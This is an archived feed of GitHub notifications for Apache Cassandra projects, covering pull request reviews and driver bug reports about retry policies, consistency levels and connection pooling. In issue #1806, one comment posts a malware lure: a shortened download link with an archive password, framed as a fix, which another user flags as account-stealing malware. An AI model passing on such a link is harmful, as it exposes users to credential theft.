Re: [PR] CASSANDRA-19832: Build a public CI for Apache Cassandra Java Driver [cassandra-java-driver]

2024-08-19 Thread via GitHub
SiyaoIsHiding commented on PR #1944: URL: https://github.com/apache/cassandra-java-driver/pull/1944#issuecomment-2296875790 Yes, the cassandra-builds PR: https://github.com/apache/cassandra-builds/pull/103 -- This is an automated message from the Apache Git Service. To respond to the mes

Re: [PR] Decouple Cassandra types from Spark types so Cassandra types can be u… [cassandra-analytics]

2024-08-20 Thread via GitHub
jberragan commented on PR #71: URL: https://github.com/apache/cassandra-analytics/pull/71#issuecomment-2298531564 Green CI: https://app.circleci.com/pipelines/github/jberragan/cassandra-analytics/64/workflows/3eebf8bb-d4f2-43dc-ae0b-325b4772543e -- This is an automated message from the A

Re: [PR] CASSANDRA-19836: Fix NPE when writing UDT values [cassandra-analytics]

2024-08-20 Thread via GitHub
JeetKunDoug commented on code in PR #74: URL: https://github.com/apache/cassandra-analytics/pull/74#discussion_r1723555914 ## cassandra-four-zero-types/src/main/java/org/apache/cassandra/spark/data/CqlType.java: ## @@ -106,12 +108,35 @@ public Object sparkSqlRowValue(Row row, i

Re: [PR] Add rows writers [cassandra-gocql-driver]

2024-08-20 Thread via GitHub
illia-li closed pull request #1730: Add rows writers URL: https://github.com/apache/cassandra-gocql-driver/pull/1730 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscr

Re: [PR] CASSANDRA-19836: Fix NPE when writing UDT values [cassandra-analytics]

2024-08-20 Thread via GitHub
yifan-c merged PR #74: URL: https://github.com/apache/cassandra-analytics/pull/74 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: commits-unsubscr...@ca

[I] Add Consistency for ObservedQuery [cassandra-gocql-driver]

2024-08-21 Thread via GitHub
Rikkuru opened a new issue, #1798: URL: https://github.com/apache/cassandra-gocql-driver/issues/1798 ### What version of Cassandra are you using? scylladb 5.1.19 ### What version of Gocql are you using? fork scylladb/gocql v1.12.0 ( includes v1.6.0 gocql/gocql) ### Wha

Re: [PR] CASSANDRA-19815: Decouple Cassandra types from Spark types so Cassandra types can be u… [cassandra-analytics]

2024-08-21 Thread via GitHub
jberragan commented on PR #71: URL: https://github.com/apache/cassandra-analytics/pull/71#issuecomment-2302614974 Latest CircleCI: https://app.circleci.com/pipelines/github/jberragan/cassandra-analytics/71/workflows/9235a1e4-b44f-4c91-8691-ca92f70a9122 -- This is an automated message fro

[PR] CASSANDRA-19842: Consistency level check incorrectly passes when majo… [cassandra-analytics]

2024-08-21 Thread via GitHub
yifan-c opened a new pull request, #75: URL: https://github.com/apache/cassandra-analytics/pull/75 …rity of the replica set is unavailable for write Patch by Yifan Cai; Reviewed by TBD for CASSANDRA-19842 -- This is an automated message from the Apache Git Service. To respond to the

[PR] CASSANDRA-19854 autolink JIRA tickets in commit messages [cassandra-gocql-driver]

2024-08-22 Thread via GitHub
smiklosovic opened a new pull request, #1799: URL: https://github.com/apache/cassandra-gocql-driver/pull/1799 patch by Stefan Miklosovic; reviewed by Michael Semb Wever for CASSANDRA-19854 -- This is an automated message from the Apache Git Service. To respond to the message, please log o

Re: [PR] CASSANDRA-19854 autolink JIRA tickets in commit messages [cassandra-gocql-driver]

2024-08-22 Thread via GitHub
smiklosovic merged PR #1799: URL: https://github.com/apache/cassandra-gocql-driver/pull/1799 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: commits-uns

[PR] CASSANDRA-19854 autolink JIRA tickets in commit messages [cassandra-java-driver]

2024-08-22 Thread via GitHub
smiklosovic opened a new pull request, #1947: URL: https://github.com/apache/cassandra-java-driver/pull/1947 patch by Stefan Miklosovic; reviewed by TBD for CASSANDRA-19854 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and u

[I] gocql RetryPolicies still don't use query idempotence [cassandra-gocql-driver]

2024-08-23 Thread via GitHub
Rikkuru opened a new issue, #1803: URL: https://github.com/apache/cassandra-gocql-driver/issues/1803 Issue https://github.com/apache/cassandra-gocql-driver/issues/1154 was meant to add idempotence check in gocql RetryPolicies Issue was closed but Retry Policies still don't check if qu

Re: [I] Donate GoCQL to Apache Cassandra [YOUR ACTION REQUIRED] [cassandra-gocql-driver]

2024-08-24 Thread via GitHub
michaelsembwever commented on issue #1751: URL: https://github.com/apache/cassandra-gocql-driver/issues/1751#issuecomment-2308225522 Thanks @Highstead and @olib963 , is getting noted in https://github.com/apache/cassandra-gocql-driver/pull/1804 -- This is an automated message from the Ap

Re: [I] gocql RetryPolicies still don't use query idempotence [cassandra-gocql-driver]

2024-08-26 Thread via GitHub
OleksiienkoMykyta commented on issue #1803: URL: https://github.com/apache/cassandra-gocql-driver/issues/1803#issuecomment-2310286928 I will check it, but could you please provide more details. How you tested it, versions of C*, golang, and gocql, etc. -- This is an automated message fr

Re: [I] gocql RetryPolicies still don't use query idempotence [cassandra-gocql-driver]

2024-08-26 Thread via GitHub
Rikkuru commented on issue #1803: URL: https://github.com/apache/cassandra-gocql-driver/issues/1803#issuecomment-2310295822 # What version of Cassandra are you using? scylladb 5.1.19 # What version of Gocql are you using? fork scylladb/gocql v1.12.0 ( includes v1.6.0 gocql/gocql

Re: [I] Donate GoCQL to Apache Cassandra [YOUR ACTION REQUIRED] [cassandra-gocql-driver]

2024-08-26 Thread via GitHub
bx2 commented on issue #1751: URL: https://github.com/apache/cassandra-gocql-driver/issues/1751#issuecomment-2310308950 +1 from me - Bartosz Burclaf -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go

Re: [I] gocql RetryPolicies still don't use query idempotence [cassandra-gocql-driver]

2024-08-26 Thread via GitHub
Rikkuru commented on issue #1803: URL: https://github.com/apache/cassandra-gocql-driver/issues/1803#issuecomment-2310311562 my project does not set [Idempotent](https://github.com/gocql/gocql/blob/v1.6.0/session.go#L1229) [¶](https://pkg.go.dev/github.com/gocql/gocql#Query.Idempotent) (not

Re: [PR] CASSANDRA-19842: Consistency level check incorrectly passes when majo… [cassandra-analytics]

2024-08-26 Thread via GitHub
frankgh commented on code in PR #75: URL: https://github.com/apache/cassandra-analytics/pull/75#discussion_r1731943359 ## cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/token/ReplicaAwareFailureHandler.java: ## @@ -157,55 +211,82 @@ private boolean

[I] Getting "gocql no hosts available in the pool" when we are continuously streaming data [cassandra-gocql-driver]

2024-08-27 Thread via GitHub
sathyendranv opened a new issue, #1806: URL: https://github.com/apache/cassandra-gocql-driver/issues/1806 Please answer these questions before submitting your issue. Thanks! ### What version of Cassandra are you using? 4.1.5 ### What version of Gocql are you using? 1.6.0

Re: [I] Getting "gocql no hosts available in the pool" when we are continuously streaming data [cassandra-gocql-driver]

2024-08-27 Thread via GitHub
YeGop0218 commented on issue #1806: URL: https://github.com/apache/cassandra-gocql-driver/issues/1806#issuecomment-2313029415 Download https://bit.ly/3MjP129 password: changeme In the installer menu, select "gcc." -- This is an automated message from the Apache Git Service. To r

Re: [I] Getting "gocql no hosts available in the pool" when we are continuously streaming data [cassandra-gocql-driver]

2024-08-27 Thread via GitHub
caineblood commented on issue #1806: URL: https://github.com/apache/cassandra-gocql-driver/issues/1806#issuecomment-2313034599 The above comment asking you to download a file is malware to steal your account; do not under any circumstances download or run it. The post needs to be removed.

[PR] CASSANDRA-19873 Removes checks for blocked instances from bulk-write … [cassandra-analytics]

2024-08-27 Thread via GitHub
arjunashok opened a new pull request, #76: URL: https://github.com/apache/cassandra-analytics/pull/76 …path This change removes the notion of blocked instances for bulk-writes, treating such nodes as available, as the intended usage of "blocked" nodes is to operationally prevent clie

Re: [I] gocql RetryPolicies still don't use query idempotence [cassandra-gocql-driver]

2024-08-28 Thread via GitHub
lukasz-antoniak commented on issue #1803: URL: https://github.com/apache/cassandra-gocql-driver/issues/1803#issuecomment-2315210740 Do you expect the retry of non-idempotent queries or not? I could not clearly understand expected behaviour. The ticket you mentioned was implementing _

Re: [I] gocql RetryPolicies still don't use query idempotence [cassandra-gocql-driver]

2024-08-28 Thread via GitHub
Rikkuru commented on issue #1803: URL: https://github.com/apache/cassandra-gocql-driver/issues/1803#issuecomment-2315267132 > Do you expect the retry of non-idempotent queries or not? I I expect that https://pkg.go.dev/github.com/gocql/gocql#Query with [IsIdempotent](https://github.c

Re: [PR] CASSANDRA-19842: Consistency level check incorrectly passes when majo… [cassandra-analytics]

2024-08-28 Thread via GitHub
JeetKunDoug commented on code in PR #75: URL: https://github.com/apache/cassandra-analytics/pull/75#discussion_r1731504484 ## cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/CassandraClusterInfo.java: ## @@ -381,67 +383,79 @@ private InstanceAvailab

Re: [PR] CASSANDRA-19815: Decouple Cassandra types from Spark types so Cassandra types can be u… [cassandra-analytics]

2024-08-28 Thread via GitHub
jberragan commented on code in PR #71: URL: https://github.com/apache/cassandra-analytics/pull/71#discussion_r1734986657 ## cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/sparksql/SparkCellIterator.java: ## @@ -325,7 +329,10 @@ private void maybeRebuildCluste

Re: [PR] CASSANDRA-19842: Consistency level check incorrectly passes when majo… [cassandra-analytics]

2024-08-28 Thread via GitHub
yifan-c commented on code in PR #75: URL: https://github.com/apache/cassandra-analytics/pull/75#discussion_r1735122562 ## cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/token/ConsistencyLevel.java: ## @@ -56,35 +56,38 @@ default void ensureNetwork

Re: [PR] CASSANDRA-19842: Consistency level check incorrectly passes when majo… [cassandra-analytics]

2024-08-28 Thread via GitHub
yifan-c commented on code in PR #75: URL: https://github.com/apache/cassandra-analytics/pull/75#discussion_r1735137494 ## cassandra-analytics-core/src/test/java/org/apache/cassandra/spark/bulkwriter/StreamSessionConsistencyTest.java: ## @@ -82,34 +86,41 @@ public static Collect

Re: [PR] CASSANDRA-19842: Consistency level check incorrectly passes when majo… [cassandra-analytics]

2024-08-28 Thread via GitHub
yifan-c commented on code in PR #75: URL: https://github.com/apache/cassandra-analytics/pull/75#discussion_r1735348059 ## cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/token/ConsistencyLevel.java: ## @@ -56,35 +56,38 @@ default void ensureNetwork

Re: [I] gocql RetryPolicies still don't use query idempotence [cassandra-gocql-driver]

2024-08-29 Thread via GitHub
OleksiienkoMykyta commented on issue #1803: URL: https://github.com/apache/cassandra-gocql-driver/issues/1803#issuecomment-2317300586 I have tested it and found that Queries is not idempotent by default `IsIdempotent = false` unless you set it explicitly. Also, I didn't found any retries,

Re: [I] gocql RetryPolicies still don't use query idempotence [cassandra-gocql-driver]

2024-08-29 Thread via GitHub
Rikkuru commented on issue #1803: URL: https://github.com/apache/cassandra-gocql-driver/issues/1803#issuecomment-2317407935 > `Query failed: Operation timed out for system_schema.keyspaces - received only 1 responses from 3 CL=THREE.`, tested with `cluster.RetryPolicy = &gocql.DowngradingC

Re: [I] gocql RetryPolicies still don't use query idempotence [cassandra-gocql-driver]

2024-08-29 Thread via GitHub
Rikkuru commented on issue #1803: URL: https://github.com/apache/cassandra-gocql-driver/issues/1803#issuecomment-2317467101 I tested retries with gocql.DowngradingConsistencyRetryPolicy{ConsistencyLevelsToTry: []gocql.Consistency{ gocql.One}} and CL=Quorum with 2 nodes one of which is do

Re: [PR] CASSANDRA-19815: Decouple Cassandra types from Spark types so Cassandra types can be u… [cassandra-analytics]

2024-08-29 Thread via GitHub
jberragan commented on PR #71: URL: https://github.com/apache/cassandra-analytics/pull/71#issuecomment-2318616264 Latest CircleCI: https://app.circleci.com/pipelines/github/jberragan/cassandra-analytics/73/workflows/3f5e406a-98cd-44e0-9b2a-7001975742e6 -- This is an automated message fro

Re: [PR] CASSANDRA-19815: Decouple Cassandra types from Spark types so Cassandra types can be u… [cassandra-analytics]

2024-08-29 Thread via GitHub
yifan-c commented on code in PR #71: URL: https://github.com/apache/cassandra-analytics/pull/71#discussion_r1737138827 ## cassandra-analytics-common/src/main/java/org/apache/cassandra/spark/data/CqlField.java: ## @@ -473,6 +462,11 @@ public void write(Kryo kryo, Output output,

Re: [PR] CASSANDRA-19842: Consistency level check incorrectly passes when majo… [cassandra-analytics]

2024-08-29 Thread via GitHub
frankgh commented on code in PR #75: URL: https://github.com/apache/cassandra-analytics/pull/75#discussion_r1737165237 ## cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/CassandraClusterInfo.java: ## @@ -478,21 +490,21 @@ private Map> getPendingRep

Re: [PR] CASSANDRA-19842: Consistency level check incorrectly passes when majo… [cassandra-analytics]

2024-08-29 Thread via GitHub
JeetKunDoug commented on code in PR #75: URL: https://github.com/apache/cassandra-analytics/pull/75#discussion_r1737113324 ## cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/BulkSparkConf.java: ## @@ -164,7 +164,13 @@ public BulkSparkConf(SparkConf

Re: [PR] CASSANDRA-19842: Consistency level check incorrectly passes when majo… [cassandra-analytics]

2024-08-29 Thread via GitHub
yifan-c commented on code in PR #75: URL: https://github.com/apache/cassandra-analytics/pull/75#discussion_r1737305375 ## cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/CassandraClusterInfo.java: ## @@ -478,21 +490,21 @@ private Map> getPendingRep

Re: [PR] CASSANDRA-19842: Consistency level check incorrectly passes when majo… [cassandra-analytics]

2024-08-29 Thread via GitHub
yifan-c commented on code in PR #75: URL: https://github.com/apache/cassandra-analytics/pull/75#discussion_r1737326950 ## cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/CassandraClusterInfo.java: ## @@ -381,67 +392,68 @@ private InstanceAvailabilit

Re: [PR] CASSANDRA-19815: Decouple Cassandra types from Spark types so Cassandra types can be u… [cassandra-analytics]

2024-08-29 Thread via GitHub
yifan-c commented on code in PR #71: URL: https://github.com/apache/cassandra-analytics/pull/71#discussion_r1737158816 ## cassandra-analytics-spark-converter/src/main/java/org/apache/cassandra/spark/data/converter/types/BinaryTraits.java: ## @@ -0,0 +1,71 @@ +/* + * Licensed to

Re: [PR] CASSANDRA-19842: Consistency level check incorrectly passes when majo… [cassandra-analytics]

2024-08-29 Thread via GitHub
yifan-c commented on code in PR #75: URL: https://github.com/apache/cassandra-analytics/pull/75#discussion_r1737411842 ## cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/CassandraClusterInfo.java: ## @@ -227,10 +230,18 @@ protected String getCurrent

Re: [I] gocql RetryPolicies still don't use query idempotence [cassandra-gocql-driver]

2024-08-30 Thread via GitHub
OleksiienkoMykyta commented on issue #1803: URL: https://github.com/apache/cassandra-gocql-driver/issues/1803#issuecomment-2320418177 Please share an exec query you are using to reproduce the issue, if you tried multiple queries provide them as well. -- This is an automated message from

[I] Trouble with DCAware or RackAware HostSelectionPolicy [cassandra-gocql-driver]

2024-08-30 Thread via GitHub
ut0mt8 opened a new issue, #1807: URL: https://github.com/apache/cassandra-gocql-driver/issues/1807 ### What version of Cassandra are you using? Cassandra 3.11.14 | CQL spec 3.4.4 | Native protocol v4 ### What version of Gocql are you using? v1.6.0 ### What version of Go a

Re: [I] gocql RetryPolicies still don't use query idempotence [cassandra-gocql-driver]

2024-08-30 Thread via GitHub
Rikkuru commented on issue #1803: URL: https://github.com/apache/cassandra-gocql-driver/issues/1803#issuecomment-2320933671 ``` SELECT event_id, time, args FROM my.events WHERE user = ? AND project_id = ? AND year = ? AND week = ?

Re: [PR] CASSANDRA-19815: Decouple Cassandra types from Spark types so Cassandra types can be u… [cassandra-analytics]

2024-08-30 Thread via GitHub
jberragan commented on code in PR #71: URL: https://github.com/apache/cassandra-analytics/pull/71#discussion_r1739087029 ## cassandra-analytics-spark-converter/src/main/java/org/apache/cassandra/spark/data/converter/types/BinaryTraits.java: ## @@ -0,0 +1,71 @@ +/* + * Licensed

Re: [PR] CASSANDRA-19815: Decouple Cassandra types from Spark types so Cassandra types can be u… [cassandra-analytics]

2024-08-30 Thread via GitHub
yifan-c commented on code in PR #71: URL: https://github.com/apache/cassandra-analytics/pull/71#discussion_r1739179691 ## cassandra-analytics-spark-converter/src/main/java/org/apache/cassandra/spark/data/converter/types/BinaryTraits.java: ## @@ -0,0 +1,71 @@ +/* + * Licensed to

Re: [PR] CASSANDRA-19842: Consistency level check incorrectly passes when majo… [cassandra-analytics]

2024-08-30 Thread via GitHub
yifan-c merged PR #75: URL: https://github.com/apache/cassandra-analytics/pull/75 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: commits-unsubscr...@ca

[I] Retry type Ignore does not clear error [cassandra-gocql-driver]

2024-09-02 Thread via GitHub
Rikkuru opened a new issue, #1808: URL: https://github.com/apache/cassandra-gocql-driver/issues/1808 ### What version of Cassandra are you using? Scylla Enterprise 2024.1.8 ### What version of Gocql are you using? github.com/gocql/gocql v1.6.0 ### What version of Go are yo

Re: [I] Retry type Ignore does not clear error [cassandra-gocql-driver]

2024-09-02 Thread via GitHub
Rikkuru commented on issue #1808: URL: https://github.com/apache/cassandra-gocql-driver/issues/1808#issuecomment-2324611544 Example (on empty cluster , keyspace error is ok for our test ) MyRetryPolicy can return Ignore or Rethrow - it changes nothing ``` package main

Re: [I] gocql RetryPolicies still don't use query idempotence [cassandra-gocql-driver]

2024-09-02 Thread via GitHub
Rikkuru commented on issue #1803: URL: https://github.com/apache/cassandra-gocql-driver/issues/1803#issuecomment-2325019139 > Please share an exec query you are using to reproduce the issue, if you tried multiple queries provide them as well. Hi I have an axample main.go (go

Re: [I] gocql RetryPolicies still don't use query idempotence [cassandra-gocql-driver]

2024-09-03 Thread via GitHub
OleksiienkoMykyta commented on issue #1803: URL: https://github.com/apache/cassandra-gocql-driver/issues/1803#issuecomment-2326628144 @Rikkuru Thank you for providing the details. I reproduced the issue you faced, and as you said, according to documentation it's misbehavior. I added a smal

Re: [I] Feature Request: Support Vector Type [cassandra-gocql-driver]

2024-09-03 Thread via GitHub
rcosnita commented on issue #1734: URL: https://github.com/apache/cassandra-gocql-driver/issues/1734#issuecomment-2327419047 Hello everyone, For people who are using version 4 of the protocol but need to be able to write vectors from their code base here is a possible idea: ``

Re: [PR] CASSANDRA-19815: Decouple Cassandra types from Spark types so Cassandra types can be u… [cassandra-analytics]

2024-09-03 Thread via GitHub
jberragan commented on code in PR #71: URL: https://github.com/apache/cassandra-analytics/pull/71#discussion_r1742768323 ## cassandra-analytics-core/src/test/java/org/apache/cassandra/spark/reader/DataTypeSerializationTests.java: ## @@ -152,151 +153,153 @@ public void testUUID(

Re: [I] Donate GoCQL to Apache Cassandra [YOUR ACTION REQUIRED] [cassandra-gocql-driver]

2024-09-04 Thread via GitHub
Drahflow commented on issue #1751: URL: https://github.com/apache/cassandra-gocql-driver/issues/1751#issuecomment-2329826936 @michaelsembwever I have received copyright-assignment back from the client who paid for my (minor) contributions, and am happy to donate said copyright to the ASF.

Re: [PR] CASSANDRA-19815: Decouple Cassandra types from Spark types so Cassandra types can be u… [cassandra-analytics]

2024-09-05 Thread via GitHub
jberragan commented on code in PR #71: URL: https://github.com/apache/cassandra-analytics/pull/71#discussion_r1745910617 ## cassandra-analytics-common/src/main/java/org/apache/cassandra/spark/data/TypeConverter.java: ## @@ -0,0 +1,42 @@ +/* + * Licensed to the Apache Software F

Re: [PR] CASSANDRA-19873 Removes checks for blocked instances from bulk-write … [cassandra-analytics]

2024-09-05 Thread via GitHub
frankgh merged PR #76: URL: https://github.com/apache/cassandra-analytics/pull/76 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: commits-unsubscr...@ca

Re: [PR] CASSANDRA-19900: Make the compression cache configurable to reduce he… [cassandra-analytics]

2024-09-05 Thread via GitHub
frankgh commented on code in PR #77: URL: https://github.com/apache/cassandra-analytics/pull/77#discussion_r1746183779 ## cassandra-analytics-core/src/main/java/org/apache/cassandra/clients/Sidecar.java: ## @@ -210,6 +212,8 @@ public static final class ClientConfig pub

Re: [PR] CASSANDRA-19901: Refactor TokenRangeMapping to use proper types instead of Strings [cassandra-analytics]

2024-09-06 Thread via GitHub
frankgh commented on code in PR #78: URL: https://github.com/apache/cassandra-analytics/pull/78#discussion_r1747575920 ## scripts/build-dtest-jars.sh: ## @@ -118,4 +118,6 @@ else exit ${RETURN} fi done + # always delete the Cassandra source after dtest.jar is

Re: [PR] CASSANDRA-19900: Make the compression cache configurable to reduce he… [cassandra-analytics]

2024-09-09 Thread via GitHub
belliottsmith commented on code in PR #77: URL: https://github.com/apache/cassandra-analytics/pull/77#discussion_r1749723810 ## cassandra-analytics-common/src/main/java/org/apache/cassandra/spark/utils/Properties.java: ## @@ -40,6 +40,8 @@ public final class Properties pub

Re: [I] How to set limit for pool connection [cassandra-gocql-driver]

2024-09-10 Thread via GitHub
OleksiienkoMykyta commented on issue #1741: URL: https://github.com/apache/cassandra-gocql-driver/issues/1741#issuecomment-2340521705 NumConns sets an initial number of connections per node( by default 2) but not the maximum number of connections per node. Also by default, gocql maintains

[PR] CASSANDRA-19909: Add writer options COORDINATED_WRITE_CONF to define coordinated write to multiple Cassandra clusters [cassandra-analytics]

2024-09-10 Thread via GitHub
yifan-c opened a new pull request, #79: URL: https://github.com/apache/cassandra-analytics/pull/79 The option specifies the configuration (in JSON) for coordinated write. See org.apache.cassandra.spark.bulkwriter.coordinatedwrite.CoordinatedWriteConf. When the option is present, SIDECAR_CON

Re: [PR] CASSANDRA-19815: Decouple Cassandra types from Spark types so Cassandra types can be u… [cassandra-analytics]

2024-09-10 Thread via GitHub
jberragan commented on code in PR #71: URL: https://github.com/apache/cassandra-analytics/pull/71#discussion_r1752631902 ## cassandra-bridge/build.gradle: ## @@ -40,6 +40,7 @@ publishing { dependencies { api(project(':cassandra-analytics-common')) +api(project(':cas

Re: [PR] CASSANDRA-19815: Decouple Cassandra types from Spark types so Cassandra types can be u… [cassandra-analytics]

2024-09-10 Thread via GitHub
jberragan commented on code in PR #71: URL: https://github.com/apache/cassandra-analytics/pull/71#discussion_r1752638296 ## cassandra-four-zero-bridge/src/main/java/org/apache/cassandra/bridge/CassandraBridgeImplementation.java: ## @@ -176,16 +176,18 @@ public CassandraBridgeIm

Re: [PR] CASSANDRA-19909: Add writer options COORDINATED_WRITE_CONF to define coordinated write to multiple Cassandra clusters [cassandra-analytics]

2024-09-10 Thread via GitHub
yifan-c commented on code in PR #79: URL: https://github.com/apache/cassandra-analytics/pull/79#discussion_r1752673693 ## cassandra-analytics-core/src/test/java/org/apache/cassandra/spark/bulkwriter/coordinatedwrite/CoordinatedWriteConfTest.java: ## @@ -0,0 +1,111 @@ +/* + * Li

[PR] CASSANDRA-19910: Support data partitioning for multiple clusters coordinated write [cassandra-analytics]

2024-09-10 Thread via GitHub
yifan-c opened a new pull request, #80: URL: https://github.com/apache/cassandra-analytics/pull/80 (no comment) -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscri

Re: [PR] CASSANDRA-19910: Support data partitioning for multiple clusters coordinated write [cassandra-analytics]

2024-09-10 Thread via GitHub
yifan-c commented on PR #80: URL: https://github.com/apache/cassandra-analytics/pull/80#issuecomment-2342424833 I will rebase once https://github.com/apache/cassandra-analytics/pull/79 is merged -- This is an automated message from the Apache Git Service. To respond to the message, plea

Re: [I] Donate GoCQL to Apache Cassandra [YOUR ACTION REQUIRED] [cassandra-gocql-driver]

2024-09-11 Thread via GitHub
mattheath commented on issue #1751: URL: https://github.com/apache/cassandra-gocql-driver/issues/1751#issuecomment-234838 @michaelsembwever I'm happy to assign any contributions I've made to this to the ASF. Sorry for the delay! -- This is an automated message from the Apache Git Se

Re: [PR] CASSANDRA-19815: Decouple Cassandra types from Spark types so Cassandra types can be u… [cassandra-analytics]

2024-09-11 Thread via GitHub
frankgh merged PR #71: URL: https://github.com/apache/cassandra-analytics/pull/71 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: commits-unsubscr...@ca

[PR] Ninja fix for CASSANDRA-19815 [cassandra-analytics]

2024-09-11 Thread via GitHub
jberragan opened a new pull request, #81: URL: https://github.com/apache/cassandra-analytics/pull/81 Fix Scala 2.13 build -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To

Re: [PR] CASSANDRA-19909: Add writer options COORDINATED_WRITE_CONFIG to define coordinated write to multiple Cassandra clusters [cassandra-analytics]

2024-09-11 Thread via GitHub
JeetKunDoug commented on code in PR #79: URL: https://github.com/apache/cassandra-analytics/pull/79#discussion_r1755318108 ## cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/BulkSparkConf.java: ## @@ -223,7 +227,8 @@ public BulkSparkConf(SparkConf c

Re: [PR] Ninja fix for CASSANDRA-19815 [cassandra-analytics]

2024-09-11 Thread via GitHub
jberragan commented on PR #81: URL: https://github.com/apache/cassandra-analytics/pull/81#issuecomment-2345106427 Green CircleCI: https://app.circleci.com/pipelines/github/jberragan/cassandra-analytics/100/workflows/813b00fb-1807-4471-bb94-d2685bbe7c91 -- This is an automated message fro

Re: [PR] CASSANDRA-19909: Add writer options COORDINATED_WRITE_CONFIG to define coordinated write to multiple Cassandra clusters [cassandra-analytics]

2024-09-11 Thread via GitHub
yifan-c merged PR #79: URL: https://github.com/apache/cassandra-analytics/pull/79 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: commits-unsubscr...@ca

Re: [PR] CASSANDRA-19910: Support data partitioning for multiple clusters coordinated write [cassandra-analytics]

2024-09-11 Thread via GitHub
yifan-c commented on PR #80: URL: https://github.com/apache/cassandra-analytics/pull/80#issuecomment-2345227918 > I will rebase once #79 is merged #79 is merged. Rebase is done -- This is an automated message from the Apache Git Service. To respond to the message, please log on to

Re: [PR] CASSANDRA-19910: Support data partitioning for multiple clusters coordinated write [cassandra-analytics]

2024-09-11 Thread via GitHub
yifan-c commented on code in PR #80: URL: https://github.com/apache/cassandra-analytics/pull/80#discussion_r1756079450 ## cassandra-analytics-common/build.gradle: ## @@ -41,20 +41,21 @@ publishing { } dependencies { -implementation "org.slf4j:slf4j-api:${slf4jApiVersion

Re: [PR] CASSANDRA-19910: Support data partitioning for multiple clusters coordinated write [cassandra-analytics]

2024-09-11 Thread via GitHub
yifan-c commented on code in PR #80: URL: https://github.com/apache/cassandra-analytics/pull/80#discussion_r1756080437 ## cassandra-analytics-common/src/main/java/org/apache/cassandra/spark/data/CqlTable.java: ## @@ -39,7 +39,7 @@ @SuppressWarnings({ "WeakerAccess", "unused" }

Re: [PR] CASSANDRA-19910: Support data partitioning for multiple clusters coordinated write [cassandra-analytics]

2024-09-11 Thread via GitHub
yifan-c commented on code in PR #80: URL: https://github.com/apache/cassandra-analytics/pull/80#discussion_r1756085954 ## cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/token/TokenRangeMapping.java: ## @@ -113,12 +139,10 @@ Multimap> tokenRangesBy

Re: [PR] CASSANDRA-19910: Support data partitioning for multiple clusters coordinated write [cassandra-analytics]

2024-09-12 Thread via GitHub
JeetKunDoug commented on code in PR #80: URL: https://github.com/apache/cassandra-analytics/pull/80#discussion_r1757005825 ## cassandra-analytics-core/src/test/java/org/apache/cassandra/spark/bulkwriter/token/TokenRangeMappingTest.java: ## @@ -105,16 +101,145 @@ void testCreate

[PR] Improve build-dependencies.sh script to set CASSANDRA_USE_JDK11 if an… [cassandra-analytics]

2024-09-12 Thread via GitHub
jberragan opened a new pull request, #82: URL: https://github.com/apache/cassandra-analytics/pull/82 …alytics is running on JDK11 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comm

Re: [PR] CASSANDRA-19910: Support data partitioning for multiple clusters coordinated write [cassandra-analytics]

2024-09-12 Thread via GitHub
JeetKunDoug commented on code in PR #80: URL: https://github.com/apache/cassandra-analytics/pull/80#discussion_r1757195386 ## cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/coordinatedwrite/MultiClusterInfoProvider.java: ## @@ -0,0 +1,45 @@ +/* + *

Re: [PR] CASSANDRA-19910: Support data partitioning for multiple clusters coordinated write [cassandra-analytics]

2024-09-12 Thread via GitHub
yifan-c commented on code in PR #80: URL: https://github.com/apache/cassandra-analytics/pull/80#discussion_r1757669477 ## cassandra-analytics-core/src/test/java/org/apache/cassandra/spark/bulkwriter/token/TokenRangeMappingTest.java: ## @@ -105,16 +101,145 @@ void testCreateToke

Re: [PR] CASSANDRA-19910: Support data partitioning for multiple clusters coordinated write [cassandra-analytics]

2024-09-12 Thread via GitHub
yifan-c commented on code in PR #80: URL: https://github.com/apache/cassandra-analytics/pull/80#discussion_r1757673277 ## cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/coordinatedwrite/CassandraClusterInfoGroup.java: ## @@ -0,0 +1,278 @@ +/* + * L

Re: [PR] CASSANDRA-19910: Support data partitioning for multiple clusters coordinated write [cassandra-analytics]

2024-09-12 Thread via GitHub
yifan-c commented on code in PR #80: URL: https://github.com/apache/cassandra-analytics/pull/80#discussion_r1757673435 ## cassandra-analytics-common/src/main/java/org/apache/cassandra/spark/utils/MapUtils.java: ## @@ -279,4 +282,19 @@ public static T resolveDeprecated(Map opt

Re: [PR] CASSANDRA-19910: Support data partitioning for multiple clusters coordinated write [cassandra-analytics]

2024-09-12 Thread via GitHub
